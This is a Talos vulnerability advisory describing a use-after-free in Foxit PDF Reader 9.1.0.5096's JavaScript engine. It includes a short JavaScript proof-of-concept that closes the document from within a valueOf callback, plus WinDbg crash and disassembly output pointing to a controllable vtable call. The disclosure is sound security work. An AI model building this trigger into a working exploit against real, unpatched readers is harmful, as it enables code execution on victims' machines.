Talos Vulnerability Report

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.1.0.5096.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.

This particular vulnerability lies in invoking the getPageNumWords method of the active document with a crafted object as argument, which can trigger a use-after-free condition, like in the following code:

function main() {
var a = {};
a.valueOf = f;
app.activeDocs[0].getPageNumWords(a,false);
}


function f() {
app.activeDocs[0].closeDoc(); 
}

main();

In the above code, we create an object a and overload its valueOf method to be f. Then, when getPageNumWords is invoked, valueOf of the first argument is called, effectively closing the document and freeing a number of objects. When getPageNumWords continues execution, it reuses a stale reference of a freed object causing a crash. It should be noted that the closeDoc method requires higher privileges so either the document needs to come from a trusted location or the user must click a dialog that allows it to run.

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(1244.1684): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=80000000 ebx=12110ef0 ecx=0e4b2da8 edx=00000056 esi=0012e5d0 edi=80000000
eip=01a7c3ef esp=0012e468 ebp=0012e550 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
FoxitReader!CryptVerifyMessageSignature+0x84b3f:
01a7c3ef 8b11            mov     edx,dword ptr [ecx]  ds:0023:0e4b2da8=????????
0:000> !heap -p -a ecx
    address 0e4b2da8 found in
    _DPH_HEAP_ROOT @ 7611000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e3e2a28:          e4b2000             2000
    6a0d90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77d869cc ntdll!RtlDebugFreeHeap+0x0000002f
    77d49e07 ntdll!RtlpFreeHeap+0x0000005d
    77d163a6 ntdll!RtlFreeHeap+0x00000142
    76ccc614 kernel32!HeapFree+0x00000014
    02e9df1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
    013908bf FoxitReader+0x000d08bf
    013928a8 FoxitReader+0x000d28a8
    014d965e FoxitReader+0x0021965e
    014d942b FoxitReader+0x0021942b
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x84b3f:
01a7c3ef 8b11            mov     edx,dword ptr [ecx]
01a7c3f1 8b4204          mov     eax,dword ptr [edx+4]
01a7c3f4 ffd0            call    eax
01a7c3f6 8bf0            mov     esi,eax
01a7c3f8 85ff            test    edi,edi

Analyzing the heap state clearly shows that ecx points into a freed memory region. And if we take a look at the code immediately following the point of crash, we can see edx being used as a vtable pointer, ultimately leading to a call instruction with a controllable operand in eax. Since the contents of memory pointed to by ecx can easily be controlled, this leads to relatively straight forward conditions for arbitrary code execution.

Timeline

2018-07-16 - Vendor Disclosure
2018-09-28 - Vendor Patched
2018-10-01 - Public Release